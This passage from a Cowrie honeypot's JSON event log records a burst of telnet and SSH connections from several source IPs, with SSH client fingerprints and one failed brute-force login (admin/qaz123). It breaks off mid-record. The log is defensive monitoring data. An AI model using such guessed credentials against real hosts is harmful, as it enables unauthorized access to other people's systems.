{"eventid":"cowrie.session.closed","duration":37.20163917541504,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:14.670421Z","src_ip":"62.210.97.77","session":"99c81138b5ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.62084913253784,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:16.045243Z","src_ip":"165.232.131.181","session":"18299bd313ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45394,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a80c7768345","protocol":"telnet","message":"New connection: 165.232.131.181:45394 (10.17.0.5:23) [session: 5a80c7768345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:16.183720Z"}
{"eventid":"cowrie.session.closed","duration":35.968435287475586,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:17.183033Z","src_ip":"62.210.97.77","session":"10d2fbe32ac7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.75723099708557,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:17.332121Z","src_ip":"62.210.97.77","session":"df84eaecea69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49086,"dst_ip":"10.17.0.5","dst_port":23,"session":"1242aebde0e5","protocol":"telnet","message":"New connection: 62.210.97.77:49086 (10.17.0.5:23) [session: 1242aebde0e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:19.738416Z"}
{"eventid":"cowrie.session.closed","duration":42.424091815948486,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:22.500858Z","src_ip":"65.60.27.33","session":"4c2095194023","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49090,"dst_ip":"10.17.0.5","dst_port":23,"session":"42b99ed286a3","protocol":"telnet","message":"New connection: 62.210.97.77:49090 (10.17.0.5:23) [session: 42b99ed286a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:23.634152Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38302,"dst_ip":"10.17.0.5","dst_port":23,"session":"f501605edf44","protocol":"telnet","message":"New connection: 38.54.119.93:38302 (10.17.0.5:23) [session: f501605edf44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:24.450237Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":49096,"dst_ip":"10.17.0.5","dst_port":23,"session":"708960a81674","protocol":"telnet","message":"New connection: 62.210.97.77:49096 (10.17.0.5:23) [session: 708960a81674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:25.476770Z"}
{"eventid":"cowrie.session.closed","duration":32.29756259918213,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:28.884975Z","src_ip":"62.210.97.77","session":"a2282b98059a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.455682039260864,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:29.463101Z","src_ip":"62.210.97.77","session":"dd948f0dbf5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.649473667144775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:29.697626Z","src_ip":"62.210.97.77","session":"dd2e7e2c4d66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.37920355796814,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:30.044384Z","src_ip":"65.60.27.33","session":"bfab3ee1d0e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55702,"dst_ip":"10.17.0.5","dst_port":23,"session":"54875d5c1aa5","protocol":"telnet","message":"New connection: 62.210.97.77:55702 (10.17.0.5:23) [session: 54875d5c1aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:30.518874Z"}
{"eventid":"cowrie.session.closed","duration":50.52314019203186,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:31.144447Z","src_ip":"38.54.119.93","session":"f2e3dbed62a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55714,"dst_ip":"10.17.0.5","dst_port":23,"session":"290516093f96","protocol":"telnet","message":"New connection: 62.210.97.77:55714 (10.17.0.5:23) [session: 290516093f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:31.894333Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55720,"dst_ip":"10.17.0.5","dst_port":23,"session":"905ebeefa7a3","protocol":"telnet","message":"New connection: 62.210.97.77:55720 (10.17.0.5:23) [session: 905ebeefa7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:32.322619Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac41c35eed49","protocol":"telnet","message":"New connection: 65.60.27.33:50554 (10.17.0.5:23) [session: ac41c35eed49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:32.386093Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50834,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1a35ee90b65","protocol":"telnet","message":"New connection: 65.60.27.33:50834 (10.17.0.5:23) [session: d1a35ee90b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:32.712459Z"}
{"eventid":"cowrie.session.closed","duration":39.35931062698364,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:33.411619Z","src_ip":"165.232.131.181","session":"ce8545aacf9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.198.206","src_port":48826,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f89238a9a19","protocol":"ssh","message":"New connection: 45.78.198.206:48826 (10.17.0.5:22) [session: 4f89238a9a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:33.646719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:33.651608Z","src_ip":"45.78.198.206","session":"4f89238a9a19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:33.898904Z","src_ip":"45.78.198.206","session":"4f89238a9a19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.464261770248413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:35.164844Z","src_ip":"62.210.97.77","session":"e8fa31c84ad0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55728,"dst_ip":"10.17.0.5","dst_port":23,"session":"b099dce9d738","protocol":"telnet","message":"New connection: 62.210.97.77:55728 (10.17.0.5:23) [session: b099dce9d738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:35.441503Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qaz123","message":"login attempt [admin/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:36.013104Z","src_ip":"45.78.198.206","session":"4f89238a9a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":55104,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac17bdf9348","protocol":"telnet","message":"New connection: 65.60.27.33:55104 (10.17.0.5:23) [session: eac17bdf9348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:36.511597Z"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:37.263889Z","src_ip":"45.78.198.206","session":"4f89238a9a19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55742,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8475bfa24f1","protocol":"telnet","message":"New connection: 62.210.97.77:55742 (10.17.0.5:23) [session: a8475bfa24f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:38.102299Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55752,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ede63aa28fb","protocol":"telnet","message":"New connection: 62.210.97.77:55752 (10.17.0.5:23) [session: 3ede63aa28fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:38.429865Z"}
{"eventid":"cowrie.session.closed","duration":49.87114119529724,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:38.728312Z","src_ip":"38.54.119.93","session":"ef1fe46dad20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.158711433410645,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:38.766782Z","src_ip":"165.232.131.181","session":"e2b85d482283","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54000,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c0754bebadf","protocol":"telnet","message":"New connection: 62.210.97.77:54000 (10.17.0.5:23) [session: 8c0754bebadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:39.166711Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53834,"dst_ip":"159.203.135.109","dst_port":23,"session":"6860106e58d8","protocol":"telnet","message":"New connection: 134.209.8.29:53834 (159.203.135.109:23) [session: 6860106e58d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:39.259934Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41906,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d1e6b09362","protocol":"telnet","message":"New connection: 165.232.131.181:41906 (10.17.0.5:23) [session: a0d1e6b09362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:39.500226Z"}
{"eventid":"cowrie.session.closed","duration":40.783284425735474,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:39.963931Z","src_ip":"38.54.119.93","session":"e9657651593e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cb2cb383370","protocol":"telnet","message":"New connection: 62.210.97.77:54006 (10.17.0.5:23) [session: 3cb2cb383370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:40.254740Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5902fd6fcef3","protocol":"telnet","message":"New connection: 65.60.27.33:59966 (10.17.0.5:23) [session: 5902fd6fcef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:40.494050Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":34594,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f92ecd38b59","protocol":"telnet","message":"New connection: 65.60.27.33:34594 (10.17.0.5:23) [session: 9f92ecd38b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:42.863486Z"}
{"eventid":"cowrie.session.closed","duration":3.6285502910614014,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:43.128638Z","src_ip":"165.232.131.181","session":"a0d1e6b09362","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54008,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b8254c61a21","protocol":"telnet","message":"New connection: 62.210.97.77:54008 (10.17.0.5:23) [session: 3b8254c61a21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:43.735581Z"}
{"eventid":"cowrie.session.closed","duration":4.965838432312012,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:44.225648Z","src_ip":"134.209.8.29","session":"6860106e58d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54024,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2087723b304","protocol":"telnet","message":"New connection: 62.210.97.77:54024 (10.17.0.5:23) [session: b2087723b304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:44.231187Z"}
{"eventid":"cowrie.session.closed","duration":36.47012686729431,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:44.884487Z","src_ip":"62.210.97.77","session":"b3ad63c26e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54028,"dst_ip":"10.17.0.5","dst_port":23,"session":"035c2f271643","protocol":"telnet","message":"New connection: 62.210.97.77:54028 (10.17.0.5:23) [session: 035c2f271643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:46.162400Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54038,"dst_ip":"10.17.0.5","dst_port":23,"session":"46fca291f220","protocol":"telnet","message":"New connection: 62.210.97.77:54038 (10.17.0.5:23) [session: 46fca291f220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:47.964829Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":54054,"dst_ip":"10.17.0.5","dst_port":23,"session":"3039a40c2446","protocol":"telnet","message":"New connection: 62.210.97.77:54054 (10.17.0.5:23) [session: 3039a40c2446]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:48.338713Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59094,"dst_ip":"10.17.0.5","dst_port":23,"session":"a78de7516c95","protocol":"telnet","message":"New connection: 62.210.97.77:59094 (10.17.0.5:23) [session: a78de7516c95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:48.962138Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59110,"dst_ip":"10.17.0.5","dst_port":23,"session":"46e10e210d39","protocol":"telnet","message":"New connection: 62.210.97.77:59110 (10.17.0.5:23) [session: 46e10e210d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:49.671465Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59118,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d49dc91c249","protocol":"telnet","message":"New connection: 62.210.97.77:59118 (10.17.0.5:23) [session: 3d49dc91c249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:50.302116Z"}
{"eventid":"cowrie.session.closed","duration":7.882249593734741,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:50.745623Z","src_ip":"65.60.27.33","session":"9f92ecd38b59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":57340,"dst_ip":"10.17.0.5","dst_port":23,"session":"88ddb162b34b","protocol":"telnet","message":"New connection: 165.232.131.181:57340 (10.17.0.5:23) [session: 88ddb162b34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:50.981177Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e0f0ea5a8a9","protocol":"telnet","message":"New connection: 165.232.131.181:59050 (10.17.0.5:23) [session: 6e0f0ea5a8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:52.077722Z"}
{"eventid":"cowrie.session.closed","duration":47.93930220603943,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:53.096962Z","src_ip":"65.60.27.33","session":"6f1bee4689c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59134,"dst_ip":"10.17.0.5","dst_port":23,"session":"04bb69ef1c7e","protocol":"telnet","message":"New connection: 62.210.97.77:59134 (10.17.0.5:23) [session: 04bb69ef1c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:55.122612Z"}
{"eventid":"cowrie.session.closed","duration":35.5553138256073,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:55.293615Z","src_ip":"62.210.97.77","session":"1242aebde0e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"4953b7eb941e","protocol":"telnet","message":"New connection: 165.232.131.181:59766 (10.17.0.5:23) [session: 4953b7eb941e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:55.906229Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59142,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f91ba51bbb","protocol":"telnet","message":"New connection: 62.210.97.77:59142 (10.17.0.5:23) [session: c7f91ba51bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:56.352212Z"}
{"eventid":"cowrie.session.closed","duration":0.5661647319793701,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:56.472049Z","src_ip":"165.232.131.181","session":"4953b7eb941e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":59156,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec92e23041d0","protocol":"telnet","message":"New connection: 62.210.97.77:59156 (10.17.0.5:23) [session: ec92e23041d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:56.581222Z"}
{"eventid":"cowrie.session.closed","duration":33.660606145858765,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:57.294442Z","src_ip":"62.210.97.77","session":"42b99ed286a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.151978969573975,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:46:57.335559Z","src_ip":"165.232.131.181","session":"5a80c7768345","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.42880916595459,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:00.905467Z","src_ip":"62.210.97.77","session":"708960a81674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":35436,"dst_ip":"10.17.0.5","dst_port":23,"session":"43349d997e50","protocol":"telnet","message":"New connection: 165.232.131.181:35436 (10.17.0.5:23) [session: 43349d997e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:03.428972Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f884dced07f3","protocol":"telnet","message":"New connection: 62.210.97.77:36372 (10.17.0.5:23) [session: f884dced07f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:04.022721Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":36382,"dst_ip":"10.17.0.5","dst_port":23,"session":"a97b78c987f5","protocol":"telnet","message":"New connection: 62.210.97.77:36382 (10.17.0.5:23) [session: a97b78c987f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:04.941480Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37724,"dst_ip":"10.17.0.5","dst_port":23,"session":"d35d149f39ef","protocol":"telnet","message":"New connection: 38.54.119.93:37724 (10.17.0.5:23) [session: d35d149f39ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:05.462278Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":46964,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea3b36f740e7","protocol":"ssh","message":"New connection: 94.156.152.18:46964 (10.17.0.5:22) [session: ea3b36f740e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:05.647627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:47:05.657121Z","src_ip":"94.156.152.18","session":"ea3b36f740e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 